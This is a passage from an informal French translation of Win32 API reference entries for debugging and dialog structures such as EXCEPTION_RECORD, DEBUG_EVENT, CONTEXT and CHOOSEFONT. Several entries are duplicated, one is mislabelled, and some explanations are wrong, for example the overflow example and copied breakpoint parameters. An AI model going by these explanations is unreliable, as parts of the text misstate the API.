} EXCEPTION_DEBUG_INFO, *LPEXCEPTION_DEBUG_INFO;
La structure EXCEPTION_DEBUG_INFO contient l'information à propos de l'exception, cette info peut être employée par un Debugger.

Membre 	 	  Description

ExceptionRecord   Contient une structure EXCEPTION_RECORD possédant l'information spécifique à
          l'exception. Ceci inclut le code d'exception, les Flags, l'adresse, et cetera.
dwFirstChance 	  Indique si le Debugger a déjà rencontré l'exception indiquée par
          ExceptionRecord. Si dwFirstChance est non nul, c'est la première fois que le
          Debugger rencontre cette exception. Typiquement les Debuggers manipulent les
          BreakPoints et les exceptions de type 'tracage en pas à pas' (Single Step)
          lorsqu'ils sont rencontrés. Si dwFirstChance est NULL, le Debugger a déjà
          rencontré l'exception. Ça se produit que pendant la recherche pour structurer
          les Exceptions Handlers, ou bien si aucun Handler a été trouvé, ou bien si
          l'exception a été continuée (reprise).

Voir Aussi

DEBUG_EVENT


EXIT_PROCESS_DEBUG_INFO (Win32)

typedef struct _EXCEPTION_DEBUG_INFO { /* exdi */
    EXCEPTION_RECORD ExceptionRecord;
    DWORD dwFirstChance;
} EXCEPTION_DEBUG_INFO, *LPEXCEPTION_DEBUG_INFO;
La structure EXCEPTION_DEBUG_INFO contient l'information à propos de l'exception, cette info peut être employée par un Debugger.

Membre 	 	  Description

ExceptionRecord   Contient une structure EXCEPTION_RECORD possédant l'information spécifique à
          l'exception. Ceci inclut le code d'exception, les Flags, l'adresse, et cetera.
dwFirstChance 	  Indique si le Debugger a déjà rencontré l'exception indiquée par
          ExceptionRecord. Si dwFirstChance est non nul, c'est la première fois que le
          Debugger rencontre cette exception. Typiquement les Debuggers manipulent les
          BreakPoints et les exceptions de type 'tracage en pas à pas' (Single Step)
          lorsqu'ils sont rencontrés. Si dwFirstChance est NULL, le Debugger a déjà
          rencontré l'exception. Ça se produit que pendant la recherche pour structurer
          les Exceptions Handlers, ou bien si aucun Handler a été trouvé, ou bien si
          l'exception a été continuée (reprise).

Voir Aussi

DEBUG_EVENT


EXCEPTION_RECORD (Win32)

typedef struct _EXCEPTION_RECORD { /* exr */
    DWORD ExceptionCode;
    DWORD ExceptionFlags;
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;
    DWORD NumberParameters;
    DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD, *LPEXCEPTION_RECORD;

La structure EXCEPTION_RECORD décrit en détail une exception.

Membre 	 	Description

ExceptionCode 	spécifie la raison pour laquelle l'exception s'est produite. Ça peut être une
        des valeurs suivantes :

        Valeur 	 Signification

        EXCEPTION_ACCESS_VIOLATION
        Cette exception arrive quand le process actuel essaye de lire ou écrire à un
        emplacement pour lequel il n'a pas d'accès.

        EXCEPTION_BREAKPOINT
        Cette exception arrive quand on rencontre un point de contrôle (un BreakPoint).

        EXCEPTION_DATATYPE_MISALIGNMENT
        Cette exception arrive quand le process actuel essaye de lire ou écrire des
        données qui sont non conforment au format du matériel. Par exemple, les
        valeurs 16 bits doivent être alignées sur des frontières de 2 octets (bein
        oui, 2octets=2Bytes=2*8bits=16 Bits); les valeurs 32 bits sur des frontières
        de 4 octets, et cetera.

        EXCEPTION_SINGLE_STEP
        Cette exception arrive quand on se sert du mode 'trace pas-à-pas' (Single-Step,
        dans un debugger en général) C'est le fait de mettre le Trap-Bit à 1 (le 8e Bit
        du Context) qui fait fonctionner le processeur dans ce mode.

        EXCEPTION_ARRAY_BOUNDS_EXCEEDED
        Cette exception arrive si un process essaye d'avoir accès à un élément d'un
        tableau qui est hors de ses limites.

        EXCEPTION_FLT_DENORMAL_OPERAND
        Cette exception arrive quand une des opérandes (un registre, une adresse mémoire,
        une valeur immédiate) dans une opération en point flottant est  'denormal'. Une
        valeur 'denormal' c'est une valeur qui est trop petite pour être représenter en
        tant qu'une valeur en point flottant standard.

        EXCEPTION_FLT_DIVIDE_BY_ZERO
        Cette exception arrive quand un process essaye de diviser une valeur (en point
        flottant) par un diviseur = à zéro (en point flottant).

        EXCEPTION_FLT_INEXACT_RESULT
        Cette exception arrive quand le résultat d'une opération en point flottant (un
        Nb à Virgule) ne peut pas être représenté exactement comme une fraction décimale.
        Ex ¼=0.25 exactement donc pas d'exception, mais 1/3=0.33333333…. et là il y a
        exemption.

        EXCEPTION_FLT_INVALID_OPERATION
        Cette exception représente n'importe quelle exception non incluse dans cette
        liste.

        EXCEPTION_FLT_OVERFLOW
        Cette exception arrive quand le résultat d'une opération en point flottant
        (nombre à virgule) est plus grand que l'ampleur permise par le type
        correspondant. Ex : AX=FFF0h et BX=0010h, add ax, bx est OverFlow car AX ne
        peut pas contenir cette addition.

        EXCEPTION_FLT_STACK_CHECK
        Cette exception arrive quand la pile déborde.

        EXCEPTION_FLT_UNDERFLOW
        Cette exception arrive quand le résultat d'une opération (en point flottant)
        est trop petite pour l'ampleur permise par le type correspondant.

        EXCEPTION_INT_DIVIDE_BY_ZERO
        Cette exception arrive quand un process essaye de diviser un nb entier par zéro.

        EXCEPTION_INT_OVERFLOW
        Cette exception arrive quand le résultat d'une opération avec des nb entiers
        provoque un débordement du Bit le plus significatif. (MSB=Most Significative
        Bit). Idem que FLT_OVERFLOW mais avec de nb entiers.

        EXCEPTION_PRIV_INSTRUCTION
        Cette exception arrive quand un processus essaye d'exécuter une instruction
        dont on ne permet pas d'opération dans le mode de machine actuel.

ExceptionFlags 	 Représente le Flag d'exception. Ça peut être la valeur suivante :

         Valeur 	 Signification

         EXCEPTION_NONCONTINUABLE
         L'exception n'est pas continuable; n'importe quelle tentative pour essayer de
         continuer l'exception (de la passer) fait que le système termine le process
         qui a causé l'exception.

ExceptionRecord 	 Pointe sur une nouvelle structure EXCEPTION_RECORD associée à celle-ci.
             Les exceptions enregistrées peuvent être enchaînés ensemble pour
             fournir des informations complémentaires quand des exceptions
             emboîtées se produisent.
ExceptionAddress 	 Spécifie l'adresse à laquelle l'exception s'est produite.
NumberParameters 	 Spécifie le nombre de paramètres associés à l'exception. Ces
             paramètres sont inclus dans le membre ExceptionInformation.
ExceptionInformation  	 Spécifie un tableau de paramètres complémentaires qui décrivent
             l'exception. Le contenu du tableau dépend de la valeur de
             ExceptionCode :

        Code d'Exception 	 Contenu du Tableau

        EXCEPTION_ACCESS_VIOLATION
        Le premier élément du tableau contient le flag de lecture/écriture. Si cette
        valeur est 0, le process a essayé de lire des données inaccessibles; si cette
        valeur est 1, le process a essayé d'écrire.
        Le deuxième élément du tableau indique l'adresse virtuelle des données
        inaccessibles.

        EXCEPTION_BREAKPOINT
        Le premier élément du tableau contient le flag de lecture/écriture. Si cette
        valeur est 0, le process a essayé de lire des données inaccessibles; si cette
        valeur est 1, le process a essayé d'écrire.

        EXCEPTION_DATATYPE_MISALIGNMENT
        Le premier élément du tableau contient le flag de lecture/écriture. Si cette
        valeur est 0, le process a essayé de lire des données inaccessibles; si cette
        valeur est 1, le process a essayé d'écrire.
        Pour le deuxième élément du tableau démerdez-vous j'ai pas compris. Par exemple,
        le masque de type de données pour une valeur 16 bits est 1, le masque pour une
        valeur 32 bits est 3, et cetera.
        Le troisième élément du tableau est l'adresse virtuelle des données
        inaccessibles.

        EXCEPTION_NONCONTINUABLE
        Le contenu du tableau est non défini.

        EXCEPTION_SINGLE_STEP
        Le contenu du tableau est non défini.

Voir Aussi

EXCEPTION_DEBUG_INFO


EXCEPTION_POINTERS (Win32)

typedef struct _EXCEPTION_POINTERS { /* exp */
    PEXCEPTION_RECORD ExceptionRecord;
    PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

La structure EXCEPTION_POINTERS contient la description de l'Exception et du contexte du
processeur au moment de l'exception. (Au moment de l'exception quel était l'état de Registres.
Ex : EAX était à 00000001 ou autre, et ainsi de suite…)

Membre 	 	 Description

ExceptionRecord  Pointe sur une structure EXCEPTION_RECORD, laquelle contient une description
         de l'exception.
ContextRecord 	 Pointe sur une structure CONTEXT (voir les fonction Debug), laquelle contient
         le contexte  (l'état spécifique) dans lequel était le processeur au moment de
         l'exception.

Voir Aussi

GetExceptionInformation


EXCEPTION_DEBUG_INFO (Win32)

typedef struct _EXCEPTION_DEBUG_INFO { /* exdi */
    EXCEPTION_RECORD ExceptionRecord;
    DWORD dwFirstChance;
} EXCEPTION_DEBUG_INFO, *LPEXCEPTION_DEBUG_INFO;
La structure EXCEPTION_DEBUG_INFO contient l'information à propos d'une exception, cette info peut être utilisée par un Debugger.

Membre 	 	  Description

ExceptionRecord   Contient une structure EXCEPTION_RECORD possédant l'information spécifique à
          l'exception. Ceci inclut le code de l'exception (ex : EXCEPTION_DEBUG_EVENT),
          les Flags, l'adresse, et cetera.
dwFirstChance 	  Indique si le Debugger a déjà rencontré l'exception indiquée par
          ExceptionRecord. Si dwFirstChance est non nul, c'est la première fois que le
          Debugger rencontre cette exception. Typiquement les Debuggers manipulent les
          BreakPoints et les exceptions de type 'tracage en pas à pas' (Single Step)
          lorsqu'ils sont rencontrés. Si dwFirstChance est NULL, le Debugger a déjà
          rencontré l'exception. Ça se produit que pendant la recherche pour structurer
          les Exceptions Handlers, ou bien si aucun Handler a été trouvé, ou bien si
          l'exception a été continuée (reprise).

Voir Aussi

DEBUG_EVENT


EVENTMSG (Win32)

typedef struct tagEVENTMSG {    /* em */
    UINT  message;
    UINT  paramL;
    UINT  paramH;
    DWORD time;
} EVENTMSG;

La structure EVENTMSG contient une information à propos de la file d'attente de l'application.
Cette structure est utilisée pour stocker l'information à propos du message destiné la fonction
callback JournalPlaybackProc.

Membre 	 	 Description

message 	 Représente le message.
paramL 	 	 Est information complémentaire au message. Sa signification exacte dépend de
         la valeur du membre 'message'.
paramH 	 	 Est information complémentaire au message. Sa signification exacte dépend de
         la valeur du membre 'message'.
time 	 	 Repésente le moment où ce message a été posté.

Voir Aussi

JournalPlaybackProc, SetWindowsHook, MESSAGE


DLGTEMPLATE (Win32)

typedef struct { /* dltt */
    DWORD style;
    DWORD dwExtendedStyle;
    WORD cdit;
    WORD x;
    WORD y;
    WORD cx;
    WORD cy;
} DLGTEMPLATE;
La structure DLGTEMPLATE définit le contenu d'une DialogBox. Cette structure est divisée en trois parties distinctes :

Partie 	 			 	Description

La structure de Données en l'entête	Contient une description générale de la DialogBox.
La structure de Données sur la fonte 	Définit la fonte avec laquelle le texte est dessiné
                        dans la DialogBox. Cette partie est facultative.
La liste d'Items (ou Controls) 	 	Décrit les éléments qui composent la DialogBox.

Les fonctions CreateDialogIndirect, CreateDialogIndirectParam, DialogBoxIndirect et
DialogBoxIndirectParam se servent de cette structure.

Membre 	 	 Description

dtStyle 	 Spécifie le style de la DialogBox. Ce paramètre peut être un seul ou une
         combinaison des valeurs suivantes :

         Valeur 	 Signification

         DS_LOCALEDIT 	 Spécifie que le stockage du texte des Controls d'édition
                  sera réservé dans le segment de données locales de
                 l'application. Ça permet d'utiliser les messages
                 EM_GETHANDLE et M_SETHANDLE. Si ce style n'est pas
                 spécifié, les données du Control d'édition seront
                 placées dans un bloc de données globales séparées.
         DS_SYSMODAL 	 Spécifie une DialogBox System-prédéfinit.
         DS_MODALFRAME 	 Spécifie une DialogBox possédant une Bordure prédéfinit. Ce
                  style peut être combiné avec les styles de Flags WS_CAPTION
                 et WS_SYSMENU pour créer une DialogBox possédant un menu
                 System et une Barre de titre (un titre).
         DS_ABSALIGN 	 Indique que dtX et dtY sont relatifs à l'origine écran (coin
                  haut gauche de l'écran), et non pas par rapport à la DialogBox
                 (coin haut gauche du bord de la DialogBox).
         DS_SETFONT 	 Spécifie qu'une fonte autre que la fonte du système doit être
                  employée pour écrire du texte dans la DialogBox. Si ce flag
                 est mis, la structure de données FONTINFO décrite dans les
                 paragraphes suivants doit immédiatement suivre l'entête de
                 DLGTEMPLATE.
                 Lorsque Windows crée une DialogBox avec cet attribut, Windows
                 envoie le message WM_SETFONT à la fenêtre de DialogBox avant
                 de créer ses Controls.

dtItemCount 	 Représente le nombre d'items (de Controls) dans la DialogBox. Une DialogBox
         peut contenir jusqu'à 255 Controls.
dtX 	 	 Représente la coordonnée X du coin supérieur-gauche de la DialogBox en unités
         '1/4 de l'unité de la largeur de base de Dialog actuelle'. Les unités de base
         de Dialog sont calculées à partir de la hauteur et de la largeur de la fonte
         du Système actuelle; la fonction GetDialogBaseUnits retrouve les unités de
         base de Dialog actuelles en pixels. À moins que DS_ABSALIGN soit mis dans le
         membre dtStyle, cette valeur est relative à l'origine du Secteur Client de la
         fenêtre parente.
dtY 	 	 Représente la coordonnée Y du coin supérieur-gauche de la DialogBox en unités
         '1/8 de l'unité de la hauteur de base de Dialog' actuelle. À moins que
         DS_ABSALIGN ne soit mis dans le membre dtStyle, cette valeur est relative à
         l'origine du Secteur de Client de la fenêtre parente.
dtCX 	 	 Représente la largeur de la DialogBox en unités '1/4 de l'unité de largeur de
         base de Dialog'.
dtCY 	 	 Représente la hauteur de la DialogBox en unités '1/8 de l'unité de hauteur de
         base de Dialog'.
dtMenuName [] 	 Est une chaîne de caractères terminée par un nul, laquelle spécifie le nom du
         menu de la DialogBox. Si ce membre est NULL, la fenêtre de la DialogBox n'aura
         pas de menu.
dtClassName []   Est une chaîne de caractères terminée par un nul, laquelle spécifie le nom de
         Class de la DialogBox. Si dtClassName [] est NULL, la DialogBox sera créée
         avec le style de DialogBox standard. Si une application indique un nom de
         Class, elle doit fournir une procédure de Dialog qui traite chaque message de
         cette DialogBox directement ou bien elle doit appeler la fonction DefDlgProc
         pour traiter les messages. L'application doit également enregistrer la Class
         avec le membre cbWndExtra de la structure WNDCLASS mise dans DLGWINDOWEXTRA.
dtCaptionText [] Est une chaîne de caractères terminée par un nul, laquelle représente le titre
         de la DialogBox.
La liste d'Items (ou Controls) consiste en une ou plusieurs structures de données DLGITEMTEMPLATE, une pour chaque Control que possédera la DialogBox.


DEBUGHOOKINFO (Win32)

typedef struct tagDEBUGHOOKINFO { // dh
    DWORD  idThread;
    DWORD  idThreadInstaller;
    LPARAM lParam;
    WPARAM wParam;
    int    code;
} DEBUGHOOKINFO;
La structure DEBUGHOOKINFO contient la Debugging information. (Une information relative aux debuggers, comme par exemple : CREATE_PROCESS_DEBUG_INFO)

Membres 	  Description

idThread 	  Identifie le lien contenant la fonction de filtre.
idThreadInstaller Identifie le lien qui a installé la fonction de filtre pour Debugger. Parfois
          ce paramètre est réservé et donc inutilisé.
lParam 		  Est la valeur à passer au hook en tant que paramètre lParam pour la fonction
          callback DebugProc.
wParam 		  Est la valeur à passer au hook en tant que paramètre wParam pour la fonction
          callback DebugProc.
code 		  Est la valeur à passer au hook en tant que paramètre nCode pour la fonction
          callback DebugProc.

Voir Aussi

DebugProc, SetWindowsHook, SetWindowsHookEx


DEBUG_EVENT (Win32)

typedef struct _DEBUG_EVENT { /* de */
    DWORD dwDebugEventCode;
    DWORD dwProcessId;
    DWORD dwThreadId;
    union {
        EXCEPTION_DEBUG_INFO Exception;
        CREATE_THREAD_DEBUG_INFO CreateThread;
        CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
        EXIT_THREAD_DEBUG_INFO ExitThread;
        EXIT_PROCESS_DEBUG_INFO ExitProcess;
        LOAD_DLL_DEBUG_INFO LoadDll;
        UNLOAD_DLL_DEBUG_INFO UnloadDll;
        OUTPUT_DEBUG_STRING_INFO DebugString;
    } u;
} DEBUG_EVENT, *LPDEBUG_EVENT;

La structure DEBUG_EVENT contient les détails d'un 'Debugging événement'.

Membre 	 		Description
-----------------------------------------------------------------------------------------------
dwDebugEventCode 	Représente de quel type de debugging événement on a à faire.
            Les valeurs valables de ce champ sont les Flags suivants :

             Valeur 	 		Signification
            -----------------------------------------------------------------------

            EXCEPTION_DEBUG_EVENT

                        La structure DEBUG_EVENT ci-dessus annonce la
                        présence d'une exception permettant de debugguer
                        l'événement. La valeur de 'u.Exception' indique
                        une structure EXCEPTION_DEBUG_INFO.

            CREATE_THREAD_DEBUG_EVENT

                        La structure DEBUG_EVENT annonce la présence
                        d'un lien de debugging événement se créant.
                        La valeur de 'u.CreateThread' indique une
                        structure CREATE_THREAD_DEBUG_INFO.

                CREATE_PROCESS_DEBUG_EVENT

                         La structure DEBUG_EVENT annonce la présence
                        d'un process de debugging événement se créant.
                        La valeur de 'u.CreateProcess' indique une
                        structure CREATE_PROCESS_DEBUG_INFO.

                EXIT_THREAD_DEBUG_EVENT

                         La structure DEBUG_EVENT annonce la présence
                        de la fermeture d'un lien. La valeur de
                        'u.ExitThread' indique une structure
                        EXIT_THREAD_DEBUG_INFO.

                EXIT_PROCESS_DEBUG_EVENT

                         La structure DEBUG_EVENT annonce la présence
                        de la fermeture d'un process. La valeur de
                        'u.ExitProcess' indique une structure
                        EXIT_PROCESS_DEBUG_INFO.

                LOAD_DLL_DEBUG_EVENT

                         La structure DEBUG_EVENT annonce la présence
                        du chargement d'une DLL. La valeur de
                        'u.LoadDll' indique une structure
                        LOAD_DLL_DEBUG_INFO.

                UNLOAD_DLL_DEBUG_EVENT

                         La structure DEBUG_EVENT annonce la présence
                        de la fermeture d'une DLL. La valeur de
                        'u.UnloadDll' indique une structure
                        UNLOAD_DLL_DEBUG_INFO.

                OUTPUT_DEBUG_STRING_EVENT

                         La structure DEBUG_EVENT annonce la présence
                        d'une chaîne de caractères en tant que données
                        de sortie. La valeur de 'u.DebugString'
                        indique une structure OUTPUT_DEBUG_STRING_INFO.
            -----------------------------------------------------------------------

dwProcessId 	 	Représente l'ID du process dans lequel s'est produit le debugging
            événement. Les debuggers utilisent cette valeur pour localiser leur
            structure de données "pour le process". Le debugger ne peut pas
            prendre le risque que ces valeurs soient de petits entiers, lesquels
            pourraient aussi être employés comme des index de tableau.

dwThreadId 	 	Représente l'ID du lien dans lequel s'est produit le debugging
            événement. Un Debugger emploie cette valeur pour localiser sa structure
            de données "pour le lien". Le Debugger ne peut pas assumer le fait que
            ces valeurs soient de petits entiers qui peuvent aussi être employés
            comme des index de tableau.

u	 		'u' égal 'union'. Représente une information supplémentaire relative à
            ce debugging événement. Cette union prendra le type et la valeur qui
            sera appropriée au type de debugging événement, comme indiqué ci-dessus.
----------------------------------------------------------------------------------------------------------------------------------------

Commentaires :

Si tout se passe bien, la fonction WaitForDebugEvent remplit les champs de votre structure
DEBUG_EVENT.

Voir Aussi :

WaitForDebugEvent


CWPSTRUCT (Win32)

typedef struct tagCWPSTRUCT { /* cwps */
    LPARAM lParam;
    WPARAM wParam;
    DWORD message;
    HWND hwnd;
} CWPSTRUCT;

La structure CWPSTRUCT définit les paramètres du message a passer au hook WH_CALLWNDPROC.

Membre 	 	Description

lParam 	 	Représente une information complémentaire associée au message. Sa signification
         exacte dépend de la valeur de message.
wParam 	 	Représente une information complémentaire associée au message. Sa signification
        exacte dépend de la valeur de message.
message 	Est en fait le numéro du message.
hwnd 	 	Identifie la fenêtre qui reçoit ce message.

Voir Aussi

SetWindowsHook, SetWindowsHookEx


CREATE_THREAD_DEBUG_INFO (Win32)

typedef struct _CREATE_THREAD_DEBUG_INFO { /* ctdi */
    HANDLE hThread;
    LPTHREAD_START_ROUTINE lpStartAddress;
} CREATE_THREAD_DEBUG_INFO, *LPCREATE_THREAD_DEBUG_INFO;
La structure CREATE_THREAD_DEBUG_INFO contient l'information à propos de la création du lien, cette info pourra être employée par Debugger.

Membre 	 	Description

hThread 	Identifie le handle du lien dont la création a provoqué le 'Debuggibg-événement'.
        Si hThread est NULL,c'est que ce handle n'est pas valide. Autrement, le
        Debugger a accès au lien grâce à THREAD_GET_CONTEXT, THREAD_SET_CONTEXT et
        THREAD_SUSPEND_RESUME. Ceci permet au Debugger de lire et modifier les
        Registres du lien et de contrôler l'exécution du lien.
lpStartAddress 	Indique l'adresse de départ du lien. Cette valeur peut seulement être
        une approximation de l'adresse de départ du lien, parce que n'importe quelle
        application avec l'accès approprié pour son lien peut changer le 'Context'
        de celui-ci en employant la fonction SetThreadContext.

Voir Aussi

CREATE_process_DEBUG_INFO, DEBUG_EVENT


CREATE_PROCESS_DEBUG_INFO (Win32)

typedef struct _CREATE_PROCESS_DEBUG_INFO { /* cpdi */
    HANDLE hFile;
    HANDLE hProcess;
    HANDLE hThread;
    LPVOID lpBaseOfImage;
    DWORD dwDebugInfoFileOffset;
    DWORD nDebugInfoSize;
    LPTHREAD_START_ROUTINE lpStartAddress;
} CREATE_PROCESS_DEBUG_INFO;
La structure CREATE_PROCESS_DEBUG_INFO contient l'information sur la création du process, cette info peut être utilisée par un Debugger.

Membre 	 	 Description

hFile 	 	 Identifie le Handle du 'Fichier Image' du process (dans l'*.exe physique). Si
         hFile est NULL, c'est que le handle n'est pas valide. Autrement, le Debugger
         peut employer hFile pour lire et écrire dans le fichier image (dans l'*.exe
         lui-même).
hProcess 	 Identifie le handle du process. Si hProcess est NULL, le handle n'est pas
         valide. Autrement, le Debugger peut utiliser ce hProcess pour lire et écrire
         dans le process mappé en mémoire.
hThread 	 Identifie le handle du lien primaire du process identifié par hProcess. Si
         hThread est NULL, c'est que le handle n'est pas valide. Autrement, le
         Debugger a accès au lien grâce à THREAD_GET_CONTEXT, THREAD_SET_CONTEXT et
         THREAD_SUSPEND_RESUME. Ceci permet au Debugger de lire et modifier les
         Registres du lien et de contrôler l'exécution du lien.
lpBaseOfImage 	 Pointe sur l'adresse de l'Image Base' du process en court. (souvent 00400000h
         pour un *.exe)
dwDebugInfoFileOffset 	 Spécifie l'offset de la Debugging-information dans le fichier identifié
         par hFile. Le noyau s'attend à ce que la Debugging-information soit dans au
         format CodeView 4.0. Ce format est actuellement un dérivé du format COFF
         (le Format des Fichiers d'Objets Communs).
nDebugInfoSize 	 Spécifie la taille (en octets) de la Debugging-information dans le fichier. Si
         cette valeur est à zéro, il n'y a aucune Debugging-information.
lpStartAddress 	 Indique l'adresse de départ du lien. Cette valeur peut seulement être une
         approximation de l'adresse de départ du lien, parce que n'importe quelle
         application avec l'accès approprié pour son lien peut changer le 'Context'
         de celui-ci en employant la fonction SetThreadContext.

Voir Aussi

CREATE_THREAD_DEBUG_INFO, DEBUG_EVENT


CONTEXT

 La structure CONTEXT contient les données des registres spécifique au processeur. Actuellement, il y a une structure CONTEXT pour les processeurs Intel et une pour les processeurs MIPS. Vous pourrez trouver plus d'information sur cette structure dans l'entête du fichier où elle est définie.

.Data?
align dword
context CONTEXT <>

Imaginez que votre programme cible s'exécute tranquillement ligne par ligne. Ses registres changent, normal! mais d'un coup notre debugger l'arrête en plein exécution au temps t0, puisque le debugger est lui-même un programme, il modifie maintenant les registres. Alors...
La structure CONTEXT sert à mémoriser l'état dans lequel se trouvaient tous les regitres du programme cible pour que le debugger puisse le faire repartir à l'endroit où il s'était arrêté.

Par contre et c'est ça l'intérêt, on peu arrêter le programme cible et récupérer son CONTEXT, changer une de ses valeurs particulières comme changer EAX=00000000 en EAX=00000001 et ensuite redonner ce context à la cible. Ainsi elle réagira maintenant différemment!

AH! oui, j'allais oublier. Le align dword au dessus sert à faire en sorte que toutes les données du context soit de format Dword, si vous l'oubliez, merde, vous allez mettre un sacré bordel.

Voici les différents Regitres que comprend le CONTEXT:

regEdi dd ?
regEsi dd ?
regEbx dd ?   	 CONTEXT_INTEGER
regEdx dd ?
regEcx dd ?
regEax dd ?

ou

regEbp dd ?
regEip dd ?
regCs dd ? 	  CONTEXT_CONTROL
regFlag dd ?
regEsp dd ?
regSs dd ?
CONTEXT_INTEGER regroupe les registres EDI, ESI,...et EAX. CONTEXT_CONTROL les EBP... Mais il y en a encore d'autres. Les groupes sont les suivants:
- CONTEXT_INTEGER
- CONTEXT_CONTROL
- CONTEXT_SEGMENTS
- CONTEXT_FLOATING_POINT
- CONTEXT_R3000
- CONTEXT_R4000
- CONTEXT_DEBUG_REGISTERS
- et CONTEXT_FULL qui regroupe tous les autres


CHOOSEFONT structure (Win32)

typedef struct {    /* cf */
    DWORD     lStructSize;
    HWND      hwndOwner;
    HDC       hDC;
    LPLOGFONT lpLogFont;
    int       iPointSize;
    DWORD     Flags;
    DWORD     rgbColors;
    DWORD     lCustData;
    LPCFHOOKPROC lpfnHook;
    LPSTR     lpTemplateName;
    HANDLE    hInstance;
    LPSTR     lpszStyle;
    WORD      nFontType;
    int       nSizeMin;
    int       nSizeMax;
} CHOOSEFONT;
La structure CHOOSEFONT contient les informations dont le système se sert pour initialiser la DialogBox de 'choix de fonte' prédéfinie par le système. Une fois que l'utilisateur ait choisit la Fonte grâce à cette DialogBox, le système retourne les information sur le choix de l'utilisateur dans cette structure.

Membre 	  	 Description

lStructSize 	 Est la taille de la structure (en octets).
hwndOwner 	 Identifie la fenêtre qui possède cette DialogBox (Son parent). Ce membre peut
         être n'importe quelle Handle valide appartenant à une fenêtre, ou bien un NULL
         si cette Common DialogBox ne possède aucun parent.
hDC 	 	 Identifie le device context  (ou le contexte de l'information) de l'imprimante
         pour laquelle les fontes seront listées dans la DialogBox. Ce membre est
         uniquement utilisé si le membre Flags contient le flag CF_PRINTERFONTS; sinon,
         ce membre est ignoré.
lpLogFont 	 Pointe sur la structure LOGFONT. Si l'application initialise les membres de
         cette structure avant d'appeler ChooseFont et met également le flag
         CF_INITTOLOGFONTSTRUCT, alors la fonction ChooseFont initialisera la DialogBox
         avec une fonte la plus proche possible parmi celles existantes. Après que
         l'utilisateur ait choisi sa fonte dans la DialogBox, la fonction ChooseFont
         remplira les membres de la structure LOGFONT avec le choix final de base de
         l'utilisateur.
iPointSize 	 Représente la taille de la fonte choisie (en unités d' 1/10 d'un point). La
         fonction ChooseFont met cette valeur après que l'utilisateur referme la
         DialogBox.
Flags 	 	 Sont les Flags d'initialisation de DialogBox. Ce membre peut être une
         combinaison des valeurs suivantes :

        Valeur 	 	 Signification

        CF_APPLY 	 Indique que la fonction ChooseFont doit activer le bouton
                 'Apply' (Appliquer).
        CF_ANSIONLY 	 Indique que la fonction ChooseFont que les choix des fontes
                 qui utilisent le jeu de caractères ANSI. (Si ce flag est mis,
                 l'utilisateur n'aura pas la possibilité de choisir une fonte
                 qui ne contient que des symboles.)
        CF_BOTH 	 Fait que la DialogBox donne accès à la liste des imprimantes
                 disponibles et à la liste des fontes d'écran. Le membre hDC
                 identifie le contexte du dispositif(device) (ou le contexte
                 de l'information) associé à l'imprimante.
        CF_TTONLY 	 Indique que la fonction ChooseFont doit uniquement énumérer
                 et permettre les choix de fontes 'TrueType'.
        CF_EFFECTS 	 Indique que la fonction ChooseFont doit permettre les effets
                 de strikeout, soulignement et de coloration. Si ce flag est
                 mis, les membres  lfStrikOut, lfUnderline et rgbColors peuvent
                 être mis avant d'appeler ChooseFont. Et, si ce flag est mis,
                 la fonction ChooseFont peut mettre ces membres après que
                 l'utilisateur ait refermé la DialogBox.
        CF_ENABLEHOOK 	 Active la fonction de hook indiquée dans le membre lpfnHook de
                 cette structure.
        CF_ENABLETEMPLATE 	 Indique que le membre hInstance identifie un bloc de
                 données qui contient un Template (calibre) de DialogBox qui
                 est définit dans le membre lpTemplateName.
        CF_ENABLETEMPLATEHANDLE  Indique que le membre hInstance identifie un bloc de
                 données qui contient un Template (calibre) de DialogBox
                 chargé précédemment. Le système ignore le membre
                 lpTemplateName si ce flag est spécifié.
        CF_FIXEDPITCHONLY 	 Indique que la fonction ChooseFont doit uniquement
                     choisir des fontes fixées au lancement.
        CF_FORCEFONTEXIST 	 Indique que la fonction ChooseFont doit indiquer la
                 condition d'erreur si l'utilisateur essaye de choisir une
                 fonte ou un style qui n'existe pas.
        CF_INITTOLOGFONTSTRUCT 	 Indique que la fonction ChooseFont doit utiliser la
                 structure LOGFONT sur laquelle pointe le membre lpLogFont
                 pour initialiser les commandes de la DialogBox.
        CF_LIMITSIZE 	 	 Indique que la fonction ChooseFont doit uniquement
                 choisir des tailles de fonte dans la gamme indiquée par les
                 champs nSizeMin et nSizeMax.
        CF_NOSIMULATIONS 	 Indique que la fonction ChooseFont ne doit pas
                     autoriser des fontes GDI de simulation.
        CF_NOVECTORFONTS 	 Indique que la fonction ChooseFont ne doit pas
                     permettre des choix de fontes vectorielles.
        CF_PRINTERFONTS 	 Fait que la DialogBox liste uniquement les fontes
                 soutenues par l'imprimante associée au contexte de dispositif
                 (ou au contexte de l'information) identifié par le membre hDC.
        CF_SCALABLEONLY 	 Indique que la fonction ChooseFont doit uniquement
                 permettre les choix de fontes évolutives. (Les fontes
                 Évolutives incluent : les fontes vectorielles, des fontes
                 d'imprimantes, TrueType et les fontes qui sont calculées
                 par d'autres algorithmes ou d'autres technologies.)
        CF_SCREENFONTS 	 Fait que la DialogBox liste uniquement les fontes d'écran
                 soutenues par le système.
        CF_SHOWHELP 	 Fait que la DialogBox affiche le bouton d'Aide. hwndOwner ne
                 doit pas être NULL si cette option est spécifiée.
        CF_USESTYLE 	 Indique que le membre lpszStyle pointe sur un buffer qui
                 contient des données de style, que la fonction ChooseFont doit
                 utiliser pour initialiser le choix de Style de Fonte. Lorsque
                 l'utilisateur referme la DialogBox, la fonction ChooseFont
                 recopiera ces données de style dans ce buffer qu'a choisit
                 l'utilisateur.
        CF_WYSIWYG 	 Indique que la fonction ChooseFont doit seulement permettre le
                 choix des fontes qui sont disponibles pour l'imprimante et
                 l'écran. Si ce flag est mis, les Flags CF_BOTH et
                 CF_SCALABLEONLY doivent également être mis.

rgbColors 	 Si le flag CF_EFFECTS est mis, ce champ contient une valeur RGB que la
         fonction ChooseFont doit utiliser pour l'attribuer à la couleur du texte.
         Après que l'utilisateur aity refermé la DialogBox, ce champ contient la valeur
         RGB de la couleur que l'utilisateur a choisie.
lCustData 	 Représente des données définies que l'application passe à la fonction de hook.
lpfnHook 	 Pointe sur une fonction de hook, laquelle traite des messages destinés à la
         DialogBox. L'application doit spécifier le Flag CF_ENABLEHOOK dans le membre
         'Flags' pour activer la fonction; sinon le système ignore ce membre. La
